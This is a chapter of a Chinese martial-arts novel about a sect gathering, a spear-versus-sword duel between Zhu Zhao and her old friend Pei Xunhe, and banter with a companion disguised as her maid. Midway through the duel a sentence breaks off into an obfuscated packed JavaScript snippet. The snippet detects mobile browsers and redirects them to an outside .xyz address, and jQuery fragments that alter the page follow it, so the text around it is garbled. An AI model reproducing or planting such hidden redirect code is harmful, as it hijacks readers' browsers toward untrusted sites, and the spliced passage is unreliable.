浓郁的雾气压深了初秋山林的青翠颜色,还未到正午时候,两匹裹着清冽潮气的骏马踏入了相公山脚。
百年前三位女君曾于此处相逢,而后随着她们名燥九州、功赫百年,这座山头也镀上了传说般的辉煌色彩,于青史宕开浓厚一笔。
齐宗邕门便落于此山头。
邕门由开山宗师宋铮之胞妹宋铄立派,专擅铸剑炼器。其不属于齐宗南北两派,是独立的第十三门,承办着历届三姝会的召开。
百年春秋荏苒,三姝会已不再是纯粹的旧友集会。五年为期,政、文、武三道权贵齐聚于此,联络感情,深化同盟,共慨这大齐绵延了千里的锦绣江山。
“在下南派蜀门三长老祝昭,幸会。”
一个月前,祝昭联络师门接过赴会之任,向邕门递了帖子。贴里言明她将代表蜀门,携一侍女亲赴三姝会。今日,二人刚打马至山口,便看到远远迎了几个邕门之人。
祝昭与少女打扮的谢珩赶忙停马下身,冲着几人恭谨拜谒。
“在下邕门少当家宋珏,久仰祝长老大名,幸会。”
最前面迎着的是一个素衣少女。眉眼清软,表情却凉淡。单论相貌,倒看不出像是日日捶练青铜的老手。
可当她垂首将抱拳送至祝昭眼前时,祝昭却看到了一双骨节粗粝、薄茧密铺,灼痕与刀痂交错的匠人之手。
“祝某何幸,竟得少当家亲自接引。”一行人相携向门派里走去,祝昭一边打眼细赏山中风光,一边同宋珏闲话两句。
宋珏微微摆手:“神交已久,而今终于得了机会,自然是要把握的。”祝昭忙乱回了几声“哪里”“久仰”,同宋珏一同向山里走去。
宋珏不喜言语,一路上面无表情,只是凝眉不知想些什么,再偶尔悄悄打量眼祝昭。
身侧另一长老健谈不少,替宋珏接过了话茬:
“祝长老应当是第一次赴会,少当家特意为您安排了一处山顶小院。装潢虽简,日落日出之时倒是别有一番雅趣。”
祝昭来了兴致,连连表示定不会错过,而后偏过头冲谢珩挑了挑眉。眉眼飞动,谢珩愣是从中读出了“听到了吗跟着我包享福的”流氓意味,无奈轻笑回应。
一列囚衣男子被押送路过,祝昭挑了挑眉。长老见状,解释道:“这是近日邕粤之乱中唱了反帝戏文的戏班子,上令邕门缉拿交与宁王,趁此会斩首昭示天下。”
祝昭若有所思地眨了眨眼:“只是一个戏班子,竟如此兴师动众大张旗鼓?”
长老摇头苦笑:“杀鸡以儆猴罢了。”
谈话间,几人行至了山谷中一处开阔谷地。此处早已搭好了擂台,周围满满围了几圈看客,台上一人持枪,与另一个刀客打得正酣。
“祝长老来得较晚,正好赶着正午三姝会揭幕才到山里,倒是错过了些热闹。这擂台本是三姝会上十三门交流武道之处,如今雅会还未正式开始,就供了天下侠士切磋打玩。”宋珏见祝昭驻足,也停了下来,同她一起观望。
身侧长老出言补充道:“虽是野路子,倒也有些招数可以赏看。有些人幸运,若是投了哪些贤贵眼缘,就可以从此归入齐宗门派或是皇室了。"
台上对局正到高潮。
日光大盛,那持枪少年身形如鹤,素白绑腿在风中翻飞。刀客看来是个熟手,快且狠利,招招式式如潮水般席卷而去。
刀光逐渐织成密网,少年忽然撤步拧腰,而后松开右手——长枪凌空打转,枪尾飞递至左手,银杆弯成惊心动魄的弧度,“铮”地斜穿而上。
刀客的刀势正老,不及回防。枪尖已轻轻点在他喉前三寸。
持枪少年收枪回立,枪尾红缨垂落,恰似鹤鸟收羽:“承让。”
少年清冽的嗓音惊破四座沉寂,叫好声喧天响起。
祝昭收回视线,笑问:“如此实力,会有几家争要?”话音刚落,便见有几门派人团团围了上去招揽少年,甚至还有两人递出了“李”字贴。这少年却不识雅趣,只是摆摆手,抬眼环顾四周,似乎在等些什么。
宋珏望着那少年,轻轻摇首:“此种实力并不多见。”
长老亦是慨叹练练:“前几日一直是那刀客以一手秋水刀横扫各路英雄。十三门与皇室也矜持,很少会同去争抢一人。这少年忽然出现,击溃了刀客后又推掉各方邀请。如此狂傲之奇才,我倒好奇,他所出何门,又所求何物?”
祝昭听罢,连声大笑,同身侧之人轻声解释了两句,便从身后剑囊抽出佩剑,而后纵身轻跃几步落入擂台。
“寻鹤,久等了!”
祝昭身形一动,乌衣飘然掠出,剑尖轻颤间已递到少年肩前三寸。那剑势乍看清和,却在临近时骤然加速,带起一线寒光。
寻鹤不慌不忙,银枪自下而上斜挑迎上祝昭剑气,旋即欣喜抬眼:
“阿昭,终于等到你了!”
枪尖如鹤喙般精准啄向剑身。两兵相接,发出一声清越的铮鸣。二人借力后撤,衣袂翻飞间,眼中俱是熟稔与惊喜。
“你的枪,比从前快了很多。”祝昭话音未落,人已再度欺近。她手中长剑如风,绵密不绝而又凌厉逼人。
剑风与枪影交织,正如劲风卷雪,冷冽又绵绵。少年的枪如雪中孤鹤,不为狂风所动,银光浮动间将剑的去处一一封死;祝昭的剑总在千钧一发时杀出一条生路,正像是大雪翻飞里的天光乍现。
谢珩望着二人过招,招招式式皆递在彼此最痛之处。每次看似未尽全力便各自收手,也许是为了喘息...?不,只是心知肚明对局走向的默契留白。
剑是心的外化。祝昭的心......又和这个少年相知到了何等地步?
少年的枪忽快忽慢,刺出时笔直如线,收势时又陡然回旋,枪杆横扫,卷起地上碎叶。他手腕一抖,枪尖斜挑,直指祝昭咽喉。
祝昭侧身避过,剑锋贴着枪杆滑下,擦出一串火星。
她手腕一翻,剑刃横削,逼得少年撤步回防。剑潮未颓,她已变招,剑尖连点三下,如寒星骤闪,直逼少年胸口,却又被银光一闪而逼退。
转眼百余招过,祝昭额前沁出细汗,少年呼吸也略显急促。
“东海一别,寻鹤的枪法已臻化境。”又是一招终了,祝昭剑尖轻点地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326984|183268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面,赞许开口。
少年疏朗一笑:“当真?此行得此一句,便是值了。”忽然间枪法一变,银光在空中划出数道残影,群鹤振翅,困住了游荡的清风。
祝昭呼吸一凝,垂首合眼。周身的感官被无限放大,每一处枪划过的嗡鸣都顺着风震颤。大雪满天,何处可逃?
可是,裴寻鹤,你困住了我,又拿什么赢我呢。
手中长剑忽然变得极慢,剑尖在空中低缓徐吟。那剑势看似迟缓,却在枪影及身的刹那骤然加速。每一剑都恰到好处地避过枪势,直冲少年本人。
剑风过处,漫天枪影如雪遇春风,纷纷消融。
长剑贴着枪杆滑下。少年急撤,却见剑尖不知何时已点在他心口寸许之处。
风声大盛。
“好!”掌声与叫好声如潮水般响起。宋珏与门派长老深深对视了一眼。台上看客皆是兴奋躁动,窃窃议论着这不可多见的精彩对决。
有人早已认出了这少女正是南派最年轻的长老祝昭,是传承了昔日宗师剑法的那蜀门门下,最耀眼的新星。
台下众人纷纷围拢上来,称赞声与结交之意不绝于耳。
祝昭一一从容应对,待大家稍歇,她略带歉意地抬手示意:“诸位见谅,在下与这位少侠久别重逢,想叙些话。”身旁人闻言,识趣散开。
裴寻鹤收枪,扬起明朗笑意:“过了半年,我还是打不过阿昭。你又长进了太多,纵使我日夜苦苦揣摩你的剑招,也终究是追不住你的‘风’。”
“你的枪精进了很多,但又似乎拘泥于困住我这个念头。‘鹤’本生于‘风’,御风而行才是天性。你为了困住风,反而把自己变成了逆风的笨鸟,倒少了几分以往的灵动。”祝昭兴味盎然,偏头看向了那少年郎。
裴寻鹤笑着叹气,将双手抄至脑后,连连摇头,银冠高束的马尾欢快跳跃:
“正是如此。我的枪全为了迎你的剑而练,可若是实力无法超越,反倒是作茧自缚了。”
祝昭挑眉,笑意带了点促狭:“只为了迎我的风啊,就不怕把你这只小鹤给吹跑了?”
二人并肩行至台下,谢珩走到了祝昭身前,出言提醒:“明玉,已是午时,该去安置行李了。”
裴寻鹤了然:“未时三刻将举办揭幕仪式,阿昭先去收拾。这几日我都会留在这里,现下先去拜访几个故友,傍晚有空再叙。”他对祝昭、谢珩微微颔首,拱手离开。
未时。
祝昭终于顺着邕门接引安置完毕,赶至大殿入席。
周旁坐了许多齐门门下长老弟子,却没看见什么熟人。对面是岳麓书院之人和天下散客,正北处则是皇室宗亲。
谢珩一边尽职尽责地扮演个小侍女,一边等前来拜谒的人退下后不阴不阳地刺祝昭几句:
“明玉的剑真是进步了太多。进可把师兄砍成自己手下的侍女,退可惹惊才绝艳的少侠苦想半年。”
祝昭咂摸了这句话几遍,品出口浓浓的酸味。心里微妙地想着些什么,面上却毫不惯着谢珩,冷笑一声:
“小侍女,你是以怎样的身份吃这口醋的?”